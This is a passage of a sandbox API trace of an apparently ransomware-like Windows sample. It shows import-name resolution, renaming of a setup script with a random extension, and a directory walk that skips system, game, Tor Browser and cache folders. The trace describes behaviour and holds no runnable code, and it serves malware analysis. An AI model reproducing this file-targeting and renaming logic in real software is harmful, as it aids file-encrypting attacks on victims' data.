lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0108.705] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0108.705] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0108.705] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0108.705] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0108.705] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0108.706] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0108.706] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0108.706] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0108.706] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0108.706] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0108.706] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0108.706] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0108.706] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0108.706] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0108.706] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0108.706] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0108.706] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0108.706] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0108.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0108.707] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0108.707] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0108.707] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0108.707] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0108.707] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0108.707] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0108.707] lstrlenA (lpString="COPYCONTEXT") returned 11 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0108.707] lstrlenA (lpString="COPYFILE2") returned 9 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0108.707] lstrlenA (lpString="COPYFILEA") returned 9 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0108.707] lstrlenA (lpString="COPYFILEEXA") returned 11 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0108.707] lstrlenA (lpString="COPYFILEEXW") returned 11 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0108.707] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0108.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0108.708] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0108.708] lstrlenA (lpString="COPYFILEW") returned 9 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0108.708] lstrlenA (lpString="COPYLZFILE") returned 10 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0108.708] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0108.708] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0108.708] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0108.708] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0108.708] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0108.708] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0108.708] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0108.708] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0108.708] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0108.708] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0108.708] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0108.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0108.709] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0108.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0108.709] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0108.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0108.709] lstrlenA (lpString="CREATEEVENTA") returned 12 [0108.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0108.709] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0108.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0108.709] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0108.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0108.710] lstrlenA (lpString="CREATEEVENTW") returned 12 [0108.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0108.710] lstrlenA (lpString="CREATEFIBER") returned 11 [0108.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0108.710] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0108.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0108.711] lstrlenA (lpString="CREATEFILE2") returned 11 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0108.711] lstrlenA (lpString="CREATEFILEA") returned 11 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0108.711] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0108.711] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0108.711] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0108.711] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0108.711] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0108.711] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0108.711] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0108.711] lstrlenA (lpString="CREATEFILEW") returned 11 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0108.711] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0108.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0108.712] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0108.712] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0108.712] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0108.712] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0108.712] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0108.712] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0108.712] lstrlenA (lpString="CREATEJOBSET") returned 12 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0108.712] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0108.712] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0108.712] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0108.712] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0108.712] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0108.712] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0108.712] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0108.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0108.712] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0108.713] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0108.713] lstrlenA (lpString="CREATEPIPE") returned 10 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0108.713] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0108.713] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0108.713] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0108.713] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0108.713] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0108.713] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0108.713] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0108.713] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0108.713] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0108.713] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0108.713] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0108.714] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0108.714] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0108.714] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0108.714] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0108.714] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0108.714] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0108.714] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0108.714] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0108.714] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0108.714] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0108.715] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0108.715] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0108.715] lstrlenA (lpString="CREATETHREAD") returned 12 [0108.715] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0108.715] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0108.715] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0108.715] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0108.715] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0108.715] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0108.715] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0108.715] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0108.715] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0108.715] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0108.715] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0108.715] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0108.715] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0108.715] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0108.716] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0108.716] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.I3ehduQ") returned 47 [0108.716] MoveFileExW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.I3ehduQ" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.i3ehduq"), dwFlags=0x0) returned 1 [0108.717] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.717] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.718] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.718] FindNextFileW (in: hFindFile=0x6bbdf0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0108.718] FindClose (in: hFindFile=0x6bbdf0 | out: hFindFile=0x6bbdf0) returned 1 [0108.718] CloseHandle (hObject=0x46c) returned 1 [0108.719] FindNextFileW (in: hFindFile=0x6bba70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="SafeOS\\", cAlternateFileName="")) returned 0 [0108.798] FindClose (in: hFindFile=0x6bba70 | out: hFindFile=0x6bba70) returned 1 [0108.798] CloseHandle (hObject=0x518) returned 1 [0108.798] FindNextFileW (in: hFindFile=0x6bbf30, lpFindFileData=0x38bfd0c | out: lpFindFileData=0x38bfd0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6bf5a0, dwReserved1=0x928d, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0108.798] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0108.798] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0108.798] lstrcatW (in: lpString1="$Recycle.Bin", lpString2="\\" | out: lpString1="$Recycle.Bin\\") returned="$Recycle.Bin\\" [0108.798] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0108.798] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch=":\\Windows") returned 0x0 [0108.798] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\Program Files") returned 0x0 [0108.798] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\Games\\") returned 0x0 [0108.798] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\Tor Browser\\") returned 0x0 [0108.799] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\ProgramData\\") returned 0x0 [0108.799] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0108.799] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0108.799] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0108.799] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\All Users") returned 0x0 [0108.799] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0108.799] lstrlenW (lpString="eogwkz.dat") returned 10 [0108.799] wsprintfW (in: param_1=0x38bf270, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\\\eogwkz.dat") returned 27 [0108.799] 